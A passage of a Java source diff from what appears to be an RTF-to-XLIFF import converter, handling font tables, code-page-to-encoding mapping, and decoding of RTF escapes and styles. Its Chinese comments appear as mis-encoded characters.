ctl.equals("ts") || // table style //$NON-NLS-1$ + ctl.equals("ds")) { // section style //$NON-NLS-1$ + + control = getValue("\\" + token); //$NON-NLS-1$ + } + if (ctl.equals("f")) { //$NON-NLS-1$ + value = getValue("\\" + token); //$NON-NLS-1$ + } + } + if (!control.equals("") && !value.equals("")) { //$NON-NLS-1$ //$NON-NLS-2$ + if (fontTable.containsKey(value)) { + styleFonts.put(control, value); + } else { + fontTable.put(control, "0"); //$NON-NLS-1$ + } + } + cfTable.put(getStyle(style), getValue("cf", style)); //$NON-NLS-1$ + } + } + + /** + * Builds the charsets. + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws NavException + */ + private void buildCharsets() throws SAXException, IOException, NavException { + SAXBuilder builder = new SAXBuilder(); + Document doc = builder.build(programFoler + "ini/rtf_encodings.xml"); //$NON-NLS-1$ + charsets = new Hashtable(); + Element root = doc.getRootElement(); + List list = root.getChildren("encoding"); //$NON-NLS-1$ + Iterator it = list.iterator(); + while (it.hasNext()) { + Element e = it.next(); + charsets.put(e.getAttributeValue("codePage"), getEncoding(e.getText().trim())); //$NON-NLS-1$ + } + // VTDGen vg = new VTDGen(); + // vg.parseFile(programFoler + "ini/rtf_encodings.xml", false); + // VTDNav vn = vg.getNav(); + // VTDUtils vu = new VTDUtils(vn); + // AutoPilot ap = new AutoPilot(vn); + } + + /** + * Builds the font list. + * @param group + * the group + * @throws Exception + * the exception + */ + private void buildFontList(String group) throws Exception { + int upr = group.indexOf("\\upr"); //$NON-NLS-1$ + int ud = group.indexOf("\\ud"); //$NON-NLS-1$ + if (upr != -1 && ud != -1) { + group = group.substring(upr + 4, ud); + group = group.substring(0, group.lastIndexOf("}")); //$NON-NLS-1$ + } + fontTable = new Hashtable(); + ignorableFonts = new Hashtable(); + fonts = new Vector(); + int level = 0; + int i = group.indexOf("{", group.indexOf("\\fonttbl")); //$NON-NLS-1$ //$NON-NLS-2$ + + // robert + if (i== -1 ) { + i = group.indexOf("\\fonttbl"); + } + + StringBuffer buffer = new StringBuffer(); + while (i < group.length()) { + char c = group.charAt(i++); + if (c == '\r' || c == '\n') { + continue; + } + buffer.append(c); + if (c == '{') { + level++; + } + if (c == '}') { + level--; + } + if (level == 0) { + String font = buffer.toString().trim(); + if (!font.trim().equals("")) { //$NON-NLS-1$ + font = parseFont(font); + } + fonts.add(font); + buffer = null; + buffer = new StringBuffer(); + } + } + } + + /** + * Parses the font. + * @param font + * the font + * @return the string + */ + private String parseFont(String font) { + StringTokenizer tk = new StringTokenizer(font, "\\{} \t", true); //$NON-NLS-1$ + String control = ""; //$NON-NLS-1$ + String value = ""; //$NON-NLS-1$ + while (tk.hasMoreElements()) { + String token = tk.nextToken(); + if (token.length() == 1) { + continue; + } + if (getControl("\\" + token).equals("f")) { //$NON-NLS-1$ //$NON-NLS-2$ + control = getValue("\\" + token); //$NON-NLS-1$ + } + if (getControl("\\" + token).equals("fcharset")) { //$NON-NLS-1$ //$NON-NLS-2$ + value = getValue("\\" + token); //$NON-NLS-1$ + } + } + if (!control.equals("") && !value.equals("")) { //$NON-NLS-1$ //$NON-NLS-2$ + if (value.equals("2")) { //$NON-NLS-1$ + if (font.indexOf("Symbol") != -1) { //$NON-NLS-1$ + ignorableFonts.put(control, ""); //$NON-NLS-1$ + } else { + font = font.replace("fcharset2", "fcharset0"); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + if (charsets.containsKey(value)) { + fontTable.put(control, value); + } else { + fontTable.put(control, "0"); //$NON-NLS-1$ + } + } + return font; + } + + /** + * Process header. + */ + private void processHeader() { + defaultUC = "0"; //$NON-NLS-1$ + defaultFont = ""; //$NON-NLS-1$ + defaultLang = ""; //$NON-NLS-1$ + defaultCpg = "1252"; //$NON-NLS-1$ + defaultAF = ""; //$NON-NLS-1$ + + StringTokenizer tk = new StringTokenizer(header, "\\", true); //$NON-NLS-1$ + while (tk.hasMoreTokens()) { + String token = tk.nextToken(); + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + String ctrlString = getControl(token); + if (ctrlString.equals("ansicpg")) { //$NON-NLS-1$ + defaultCpg = getValue(token); + + // fixed a bug 921 by john. + String tmpEncoding = getEncoding(defaultCpg); + if (tmpEncoding != null) { + srcEncoding = tmpEncoding; + } + } + if (ctrlString.equals("deff")) { //$NON-NLS-1$ + defaultFont = getValue(token); + } + if (ctrlString.equals("deflang")) { //$NON-NLS-1$ + defaultLang = getValue(token); + } + if (ctrlString.equals("adeff")) { //$NON-NLS-1$ + } + if (ctrlString.equals("uc")) { //$NON-NLS-1$ + defaultUC = getValue(token); + } + } + status = new Hashtable(); + status.put("defaultUC", defaultUC); //$NON-NLS-1$ + status.put("defaultFont", defaultFont); //$NON-NLS-1$ + status.put("defaultLang", defaultLang); //$NON-NLS-1$ + status.put("srcEncoding", srcEncoding); //$NON-NLS-1$ + status.put("defaultCpg", defaultCpg); //$NON-NLS-1$ + status.put("defaultCF", defaultCF); //$NON-NLS-1$ + status.put("defaultAF", defaultAF); //$NON-NLS-1$ + status.put("inLOCH", new Boolean(inLOCH)); //$NON-NLS-1$ + status.put("inHICH", new Boolean(inHICH)); //$NON-NLS-1$ + status.put("inDBCH", new Boolean(inDBCH)); //$NON-NLS-1$ + + stack.push(status); + defaultStatus = status; + } + + /** + * Gets the encoding. + * @param encoding + * the encoding + * @return the encoding + */ + private String getEncoding(String encoding) { + String[] codes = TextUtil.getPageCodes(); + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("windows-" + encoding) != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + if (encoding.equals("10000")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("macroman") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("10001")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("shift_jis") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("10006")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("macgreek") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("10007")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("maccyrillic") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("10029")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("maccentraleurope") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("10079")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("maciceland") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("10081")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("macturkish") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("65000")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("utf-7") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("650001")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("utf-8") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("932")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("shift_jis") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("936")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("gb2312") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("949")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("euc-kr") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("950")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("big5") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("1361")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("johab") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equalsIgnoreCase("Symbol")) { //$NON-NLS-1$ + return "Symbol"; //$NON-NLS-1$ + } + if (defaultStatus != null) { + return (String) defaultStatus.get("srcEncoding"); //$NON-NLS-1$ + } + return null; + } + + /** + * Parses the main text. + * @return the string + * @throws Exception + * the exception + */ + private String parseMainText(IProgressMonitor monitor) throws Exception { + // 此处把任务分为 10 个部分:第一个 while å¾ªçŽ¯å  1,æ¯äºŒä¸ª for å¾ªçŽ¯å  1,最åŽçš„ paseGroup æ–¹æ³•å  8。 + monitor.beginTask(Messages.getString(Messages.IMPORTRTFTOXLIFF_JOBTITLE_6), 10); + + mainText = replaceToken(mainText, "\\{", "\uE008"); //$NON-NLS-1$ //$NON-NLS-2$ + mainText = replaceToken(mainText, "\\}", "\uE007"); //$NON-NLS-1$ //$NON-NLS-2$ + mainText = replaceToken(mainText, "\\\\", "\uE011"); //$NON-NLS-1$ //$NON-NLS-2$ + + StringTokenizer tk = new StringTokenizer(mainText, "{}\\\r\n", true); //$NON-NLS-1$ + + // 对æ¯ä¸€éƒ¨åˆ†çš„内容å†è¿›è¡Œç»†åˆ† + int tokenSize = tk.countTokens(); + IProgressMonitor subMonitor1 = Progress.getSubMonitor(monitor, 1); + subMonitor1.beginTask(Messages.getString(Messages.IMPORTRTFTOXLIFF_JOBTITLE_7), tokenSize); + Vector v = new Vector(); + // 表示大括å·çš„开始标记 + boolean isStart = false; + // 大括å·å†…是å¦æ·»åŠ äº†æ–‡æœ¬ï¼Œå¦‚果一个大括å·å†…多次添加文本,则第一个文本å‰é¢éœ€è¦ä¸€ä¸ªç©ºæ ¼ï¼ŒåŽé¢çš„文本ä¸å†éœ€è¦ + boolean isAddText = false; + while (tk.hasMoreElements()) { + // 是å¦å–消æ“作 + if (subMonitor1.isCanceled()) { + throw new OperationCanceledException(); + } + + String token = tk.nextToken(); + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*")) { //$NON-NLS-1$ + token = token + tk.nextToken() + tk.nextToken(); + } + if (token.startsWith("\\'")) { //$NON-NLS-1$ + if (token.length() == 4) { + v.add(token); + } else { + v.add(token.substring(0, 4)); + v.add(token.substring(4)); + } + } else if (token.startsWith("\\")) { //$NON-NLS-1$ + String ctl = getControl(token); + String value = getValue(token); + String s = token.substring(0, token.indexOf(ctl)) + ctl + value; + v.add(s); + String remainder = token.substring(s.length()); + if (remainder.startsWith(" ")) { //$NON-NLS-1$ + if (!remainder.matches("^\\s[a-zA-Z0-9\\s].*")) { //$NON-NLS-1$ + remainder = remainder.substring(1); + } else if (s.matches(".*[0-9]")) { //$NON-NLS-1$ + if (isStart && isAddText) { + remainder = remainder.substring(1); + } + } + } + if (!remainder.equals("")) { //$NON-NLS-1$ + v.add(remainder); + if (isStart) { + isAddText = true; + } + } + } else { + v.add(token); + } + if (token.equals("{")) { + isStart = true; + isAddText = false; + } else if (token.equals("}")) { + isStart = false; + } + subMonitor1.worked(1); + } + subMonitor1.done(); + + StringBuffer result = new StringBuffer(""); //$NON-NLS-1$ + int level = 0; + + // 对第二部分的åŒæ ·è¿›è¡Œç»†åˆ† + IProgressMonitor subMonitor2 = Progress.getSubMonitor(monitor, 1); + subMonitor2.beginTask(Messages.getString(Messages.IMPORTRTFTOXLIFF_JOBTITLE_8), v.size()); + + for (int i = 0; i < v.size(); i++) { + // 是å¦å–消æ“作 + if (subMonitor2.isCanceled()) { + throw new OperationCanceledException(); + } + + String frag = v.get(i); + frag = replaceToken(frag, "\\emdash ", "" + '\u2014'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\endash ", "" + '\u2013'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\lquote ", "" + '\u2018'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\rquote ", "" + '\u2019'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\ldblquote ", "" + '\u201C'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\rdblquote ", "" + '\u201D'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\tab ", "" + '\u0009'); //$NON-NLS-1$ //$NON-NLS-2$ + + // replace the same characters again, without the space + frag = replaceToken(frag, "\\emdash", "" + '\u2014'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\endash", "" + '\u2013'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\lquote", "" + '\u2018'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\rquote", "" + '\u2019'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\ldblquote", "" + '\u201C'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\rdblquote", "" + '\u201D'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\tab", "" + '\u0009'); //$NON-NLS-1$ //$NON-NLS-2$ + + // remove special spaces and replace with Unicode version + frag = replaceToken(frag, "\\enspace", "" + '\u2002'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\emspace", "" + '\u2003'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\qmspace", "" + '\u2005'); //$NON-NLS-1$ //$NON-NLS-2$ + frag = replaceToken(frag, "\\~", "" + '\u00A0'); // non breaking //$NON-NLS-1$ //$NON-NLS-2$ + // space + // //$NON-NLS-1$ + // //$NON-NLS-2$ + + // Hyphens + frag = replaceToken(frag, "\\_", "" + '\u2011'); // non breaking //$NON-NLS-1$ //$NON-NLS-2$ + // hyphen + // //$NON-NLS-1$ + // //$NON-NLS-2$ + frag = replaceToken(frag, "\\-", "" + '\u00AD'); // soft hyphen //$NON-NLS-1$ //$NON-NLS-2$ + // //$NON-NLS-1$ + // //$NON-NLS-2$ + + if (frag.equals("{")) { //$NON-NLS-1$ + saveCurrStatus(); + level++; + } else if (frag.equals("}")) { //$NON-NLS-1$ + level--; + restoreStatus(); + } + if (frag.startsWith("\\\'")) { //$NON-NLS-1$ + String run = frag; + while (v.get(i + 1).startsWith("\\\'")) { //$NON-NLS-1$ + run = run + v.get(i + 1); + i++; + } + frag = decode(run); + if (frag.trim().length() == 1 && skip > 0 && result.charAt(result.length() - 1) == frag.charAt(0)) { + frag = ""; //$NON-NLS-1$ + } + skip--; + } else if (frag.startsWith("\\")) { //$NON-NLS-1$ + String ctl = getControl(frag); + String remainder = getReminder(frag); + if (ctl.equals("loch")) { //$NON-NLS-1$ + inDBCH = false; + inLOCH = true; + inHICH = false; + frag = remainder; + } else if (ctl.equals("hich")) { //$NON-NLS-1$ + inDBCH = false; + inLOCH = false; + inHICH = true; + frag = remainder; + } else if (ctl.equals("dbch")) { //$NON-NLS-1$ + inDBCH = true; + inLOCH = false; + inHICH = false; + frag = remainder; + } else if (ctl.equals("uc")) { //$NON-NLS-1$ + defaultUC = getValue(frag); + frag = remainder; + } else if (ctl.equals("u")) { //$NON-NLS-1$ + frag = decodeU(getValue(frag)) + remainder; + skip = Integer.parseInt(defaultUC); + } else if (ctl.equals("f")) { //$NON-NLS-1$ + String value = getValue(frag); + if (!fontTable.containsKey(value)) { + value = defaultFont; + } + defaultCpg = fontTable.get(value); + + // BUG robert + if (defaultCpg == null) { + defaultCpg = "134"; + } + + + srcEncoding = charsets.get(defaultCpg); + if (value.equals(defaultFont) || ignorableFonts.containsKey(value)) { + frag = remainder; + } + defaultFont = value; + } else if (ctl.equals("af")) { //$NON-NLS-1$ + String value = getValue(frag); + if (!value.equals(defaultAF)) { + defaultAF = value; + } + frag = remainder; + } else if (ctl.equals("cf")) { //$NON-NLS-1$ + String value = getValue(frag); + if (value.equals(defaultCF)) { + frag = remainder; + } + defaultCF = value; + } else if (ctl.equals("s") || //$NON-NLS-1$ + ctl.equals("cs") || //$NON-NLS-1$ + ctl.equals("ts") || //$NON-NLS-1$ + ctl.equals("ds")) { //$NON-NLS-1$ + + String style = getValue(frag); + if (styleFonts.containsKey(style)) { + String value = styleFonts.get(style); + defaultCpg = fontTable.get(value); + srcEncoding = charsets.get(defaultCpg); + defaultFont = value; + } + if (cfTable.containsKey(style)) { + defaultCF = cfTable.get(style); + } else { + defaultCF = "1"; //$NON-NLS-1$ + } + } else if (ctl.equals("pard")) { //$NON-NLS-1$ + resetStatus(); + } else if (ignore.containsKey(ctl)) { + String value = getValue(frag); + if (value.equals("")) { //$NON-NLS-1$ + value = ctl; + } + frag = remainder; + } + if (frag.matches("[0-9].*")) { //$NON-NLS-1$ + if (result.toString().matches(".*\\\\[a-z]+[0-9]+")) { //$NON-NLS-1$ + frag = "" + frag; //$NON-NLS-1$ + } + } else if (frag.matches("[a-zA-Z].*")) { //$NON-NLS-1$ + if (result.toString().matches(".*\\\\[a-z]+")) { //$NON-NLS-1$ + frag = "" + frag; //$NON-NLS-1$ + } + } + + } else { + // plain text + if (skip > 0 && frag.startsWith(" ?")) { //$NON-NLS-1$ + frag = frag.substring(2); + skip--; + } + if (skip > 0 && frag.startsWith("?")) { //$NON-NLS-1$ + frag = frag.substring(1); + skip--; + } + } + if (frag.matches("[0-9].*")) { //$NON-NLS-1$ + // Bug #2155 + if (result.toString().matches(".*\\\\[a-z]+[0-9].*")) { //$NON-NLS-1$ + frag = "" + frag; //$NON-NLS-1$ + } + } else if (frag.matches("[a-zA-Z].*")) { //$NON-NLS-1$ + if (result.toString().matches(".*\\\\[a-z]+")) { //$NON-NLS-1$ + frag = "" + frag; //$NON-NLS-1$ + } + } + result.append(frag); + subMonitor2.worked(1); + } + subMonitor2.done(); + // æ­¤ paseGroup 方法éžå¸¸è€—时,ç»è¿‡æµ‹è¯•ï¼Œæ–‡ä»¶å¤§å°ä¸º 1867519 bytes(约 1.8m) çš„ rtf 文件,在 + // paseGroup 方法中需热循环 1793397 次。 + String temp = parseGroup(result.toString(), Progress.getSubMonitor(monitor, 8)); + monitor.done(); + + return temp; + } + + /** + * Gets the reminder. + * @param token + * the token + * @return the reminder + */ + private String getReminder(String token) { + String control = getControl(token); + token = token.substring(token.indexOf(control) + control.length()); + StringBuffer buffer = new StringBuffer(); + for (int i = 0; i < token.length(); i++) { + char c = token.charAt(i); + if ((c >= '0' && c <= '9') || c == '-') { + buffer.append(c); + } else { + if (c == ' ') { + buffer.append(c); + } + break; + } + } + return token.substring(buffer.toString().length()); + } + + /** + * Reset status. + */ + private void resetStatus() { + defaultUC = (String) defaultStatus.get("defaultUC"); //$NON-NLS-1$ + defaultFont = (String) defaultStatus.get("defaultFont"); //$NON-NLS-1$ + defaultAF = (String) defaultStatus.get("defaultAF"); //$NON-NLS-1$ + defaultLang = (String) defaultStatus.get("defaultLang"); //$NON-NLS-1$ + srcEncoding = (String) defaultStatus.get("srcEncoding"); //$NON-NLS-1$ + defaultCpg = (String) defaultStatus.get("defaultCpg"); //$NON-NLS-1$ + defaultCF = (String) defaultStatus.get("defaultCF"); //$NON-NLS-1$ + } + + /** + * Decode. + * @param string + * the string + * @return the string + * @throws UnsupportedEncodingException + * the unsupported encoding exception + */ + private String decode(String string) throws UnsupportedEncodingException { + String remainder = ""; //$NON-NLS-1$ + if (string.indexOf(" ") != -1) { //$NON-NLS-1$ + remainder = string.substring(string.indexOf(" ") + 1); //$NON-NLS-1$ + } + string = string.replaceAll("\'", ""); //$NON-NLS-1$ //$NON-NLS-2$ + StringTokenizer tk = new StringTokenizer(string, "\\"); //$NON-NLS-1$ + String converted = ""; //$NON-NLS-1$ + if (inDBCH) { + int size = tk.countTokens(); + byte[] array = new byte[size]; + int j = 0; + while (tk.hasMoreTokens()) { + String s = tk.nextToken(); + array[j++] = (byte) Integer.parseInt(s, 16); + } + if (!srcEncoding.equals("Symbol")) { //$NON-NLS-1$ + converted = new String(array, srcEncoding); + } else { + converted = new String(array, getEncoding("1252")); //$NON-NLS-1$ + } + } else if (inHICH) { + while (tk.hasMoreTokens()) { + String s = tk.nextToken(); + if (!srcEncoding.equals("Symbol")) { //$NON-NLS-1$ + byte[] array = new byte[1]; + array[0] = (byte) Integer.parseInt(s, 16); + converted = converted + new String(array, srcEncoding); + } else { + converted = converted + symbols.get(new Integer(Integer.parseInt(s, 16))); + } + } + } else { + // inLOCH + if (!srcEncoding.equals("Symbol")) { //$NON-NLS-1$ + while (tk.hasMoreTokens()) { + String s = tk.nextToken(); + byte b = (byte) Integer.parseInt(s, 16); + byte[] array = new byte[2]; + // if (isLeadByte(b)) { + // it is a leading byte, get next one and convert + array[0] = b; + try { + array[1] = (byte) Integer.parseInt(tk.nextToken(), 16); + } catch (Exception e1) { + + } + // } else { + // array[0] = b; + // array[1] = 0; + // } + String ss = ""; //$NON-NLS-1$ + try { + ss = new String(array, srcEncoding); + } catch (Exception e) { + ss = new String(array, getEncoding("1252")); //$NON-NLS-1$ + } + converted = converted + ss.charAt(0); + } + } else { + while (tk.hasMoreTokens()) { + String s = tk.nextToken(); + converted = converted + symbols.get(Integer.parseInt(s, 16)); + } + } + } + converted = replaceToken(converted, "{", "\uE008"); //$NON-NLS-1$ //$NON-NLS-2$ + converted = replaceToken(converted, "}", "\uE007"); //$NON-NLS-1$ //$NON-NLS-2$ + converted = replaceToken(converted, "\\", "\uE011"); //$NON-NLS-1$ //$NON-NLS-2$ + + return converted + remainder; + } + + /** + * Restore status. + */ + private void restoreStatus() { + if (!stack.isEmpty()) { + status = stack.pop(); + defaultUC = (String) status.get("defaultUC"); //$NON-NLS-1$ + defaultFont = (String) status.get("defaultFont"); //$NON-NLS-1$ + defaultAF = (String) status.get("defaultAF"); //$NON-NLS-1$ + defaultLang = (String) status.get("defaultLang"); //$NON-NLS-1$ + srcEncoding = (String) status.get("srcEncoding"); //$NON-NLS-1$ + defaultCpg = (String) status.get("defaultCpg"); //$NON-NLS-1$ + inLOCH = ((Boolean) status.get("inLOCH")).booleanValue(); //$NON-NLS-1$ + inHICH = ((Boolean) status.get("inHICH")).booleanValue(); //$NON-NLS-1$ + inDBCH = ((Boolean) status.get("inDBCH")).booleanValue(); //$NON-NLS-1$ + } else { + status = new Hashtable(); + status.put("defaultUC", defaultUC); //$NON-NLS-1$ + status.put("defaultFont", defaultFont); //$NON-NLS-1$ + status.put("defaultLang", defaultLang); //$NON-NLS-1$ + status.put("srcEncoding", srcEncoding); //$NON-NLS-1$ + status.put("defaultCpg", defaultCpg); //$NON-NLS-1$ + status.put("defaultAF", defaultAF); //$NON-NLS-1$ + if (inLOCH) { + inHICH = false; + inDBCH = false; + } else if (inHICH) { + inLOCH = false; + inDBCH = false; + } else if (inDBCH) { + inHICH = false; + inLOCH = false; + } + status.put("inLOCH", new Boolean(inLOCH)); //$NON-NLS-1$ + status.put("inHICH", new Boolean(inHICH)); //$NON-NLS-1$ + status.put("inDBCH", new Boolean(inDBCH)); //$NON-NLS-1$ + } + } + + /** + * Save curr status. + */ + private void saveCurrStatus() { + status = new Hashtable(); + status.put("defaultUC", defaultUC); //$NON-NLS-1$ + status.put("defaultFont", defaultFont); //$NON-NLS-1$ + status.put("defaultLang", defaultLang); //$NON-NLS-1$ + status.put("srcEncoding", srcEncoding); //$NON-NLS-1$ + status.put("defaultCpg", defaultCpg); //$NON-NLS-1$ + status.put("defaultAF", defaultAF); //$NON-NLS-1$ + if (inLOCH) { + inHICH = false; + inDBCH = false; + } else if (inHICH) { + inLOCH = false; + inDBCH = false; + } else if (inDBCH) { + inHICH = false; + inLOCH = false; + } + status.put("inLOCH", new Boolean(inLOCH)); //$NON-NLS-1$ + status.put("inHICH", new Boolean(inHICH)); //$NON-NLS-1$ + status.put("inDBCH", new Boolean(inDBCH)); //$NON-NLS-1$ + + stack.push(status); + } + + private String replace(String string) { + string = replaceToken(string, "\uE008", "{"); //$NON-NLS-1$ //$NON-NLS-2$ + string = replaceToken(string, "\uE007", "}"); //$NON-NLS-1$ //$NON-NLS-2$ + string = replaceToken(string, "\uE011", "\\\\"); //$NON-NLS-1$ //$NON-NLS-2$ + string = string.replaceAll("\n", ""); + string = string.replaceAll("\r", ""); + return string; + } + + /** + * Builds the groups. + */ + private void buildGroups() { + groups = new Vector(); + int level = 0; + int i = header.length(); + StringBuffer buffer = new StringBuffer(); + int size = content.length(); + while (i < size) { + char c = content.charAt(i++); +// if (c != '\r' && c != '\n') { + buffer.append(c); +// } + if (c == '{') { + level++; + } + if (c == '}') { + level--; + } + if (level == 0) { + groups.add(buffer.toString()); + buffer = null; + buffer = new StringBuffer(); + } + } + groups.add(content.substring(i)); + content = null; + } + + /** + * Builds the style list. + * @param group + * the group + * @throws Exception + * the exception + */ + private void buildStyleList(String group) throws Exception { + int level = 0; + int i = group.indexOf("{", 1); //$NON-NLS-1$ + StringBuffer buffer = new StringBuffer(); + while (i < group.length()) { + char c = group.charAt(i++); + if (c == '\n' || c == '\r') { + continue; + } + buffer.append(c); + if (c == '{') { + level++; + } + if (c == '}') { + level--; + } + if (level == 0) { + String style = buffer.toString().trim(); + if (style.indexOf("tw4winMark") != -1) { //$NON-NLS-1$ + tw4winMark = true; + } + if (style.indexOf("tw4winError") != -1) { //$NON-NLS-1$ + tw4winError = true; + } + if (style.indexOf("tw4winPopup") != -1) { //$NON-NLS-1$ + tw4winPopup = true; + } + if (style.indexOf("tw4winJump") != -1) { //$NON-NLS-1$ + tw4winJump = true; + } + if (style.indexOf("tw4winExternal") != -1) { //$NON-NLS-1$ + tw4winExternal = true; + } + if (style.indexOf("tw4winInternal") != -1) { //$NON-NLS-1$ + tw4winInternal = true; + winInternal = getStyle(style) + + "\\cf" + getValue("cf", style) + "\\f" + getValue("f", style) + "\\lang1024"; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ + } + if (style.indexOf("tw4winTerm") != -1) { //$NON-NLS-1$ + tw4winTerm = true; + } + if (style.indexOf("DO_NOT_TRANSLATE") != -1) { //$NON-NLS-1$ + do_not_translate = true; + } + styles.add(style); + buffer = null; + buffer = new StringBuffer(); + } + } + } + + /** + * Gets the value. + * @param token + * the token + * @return the value + */ + private String getValue(String token) { + String control = getControl(token); + if (control.equals("'")) { //$NON-NLS-1$ + return token.substring(token.indexOf("'"), token.indexOf("'") + 2); //$NON-NLS-1$ //$NON-NLS-2$ + } + token = token.substring(token.indexOf(control) + control.length()); + StringBuffer buffer = new StringBuffer(); + for (int i = 0; i < token.length(); i++) { + char c = token.charAt(i); + if ((c >= '0' && c <= '9') || c == '-') { + buffer.append(c); + } else { + break; + } + } + return buffer.toString(); + } + + /** + * Gets the control. + * @param token + * the token + * @return the control + */ + private String getControl(String token) { + if (token.trim().length() < 2 || "{\\".indexOf(token.trim().charAt(0)) == -1) { //$NON-NLS-1$ + return ""; //$NON-NLS-1$ + } + StringBuffer buffer = new StringBuffer(); + for (int i = 1; i < token.length(); i++) { + char c = token.charAt(i); + if (c == '\\' || c == '*' || c == '{') { + continue; + } + if (c == '\'') { + return "'"; //$NON-NLS-1$ + } + if (!((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z'))) { + break; + } + buffer.append(c); + } + return buffer.toString(); + } + + /** + * Replace token. + * @param string + * the string + * @param token + * the token + * @param newText + * the new text + * @return the string + */ + String replaceToken(String string, String token, String newText) { + int index = string.indexOf(token); + while (index != -1) { + String before = string.substring(0, index); + String after = string.substring(index + token.length()); + string = before + newText + after; + index = string.indexOf(token, index + newText.length()); + } + return string; + } + + StringBuffer replaceToken(StringBuffer string, String token, String newText) { + int index = string.indexOf(token); + while (index != -1) { + String before = string.substring(0, index); + String after = string.substring(index + token.length()); + string = new StringBuffer(before + newText + after); + index = string.indexOf(token, index + newText.length()); + } + return string; + } + + /** + * Decode u. + * @param current + * the current + * @return the string + */ + private String decodeU(String current) { + String run = ""; //$NON-NLS-1$ + int i = 0; + + for (i = 0; i < current.length(); i++) { + if (isDigit(current.charAt(i)) || current.charAt(i) == '-') { + break; + } + } + if (current.charAt(i) == '-') { + run = "-"; //$NON-NLS-1$ + i++; + } + for (; i < current.length(); i++) { + if (isDigit(current.charAt(i))) { + run = run + current.charAt(i); + } else { + // avoid trailing spaces if any + break; + } + } + int value = Integer.parseInt(run); + if (value < 0) { + value = value + 65536; + } + if (!srcEncoding.equals("Symbol")) { //$NON-NLS-1$ + return "" + new Character((char) value); //$NON-NLS-1$ + } + if (value > 0xF000) { + value = value - 0xF000; + } + return symbols.get(new Integer(value)); + } + + /** + * Checks if is digit. + * @param c + * the c + * @return true, if is digit + */ + private boolean isDigit(char c) { + return c >= '0' && c <= '9'; + } + + /** + * Fill ignore. + */ + private void fillIgnore() { + ignore = new Hashtable(); + ignore.put("insrsid", ""); //$NON-NLS-1$ //$NON-NLS-2$ + ignore.put("charrsid", ""); //$NON-NLS-1$ //$NON-NLS-2$ + ignore.put("langfe", ""); //$NON-NLS-1$ //$NON-NLS-2$ + ignore.put("lang", ""); //$NON-NLS-1$ //$NON-NLS-2$ + ignore.put("langnp", ""); //$NON-NLS-1$ //$NON-NLS-2$ + ignore.put("sectrsid", ""); //$NON-NLS-1$ //$NON-NLS-2$ + ignore.put("pararsid", ""); //$NON-NLS-1$ 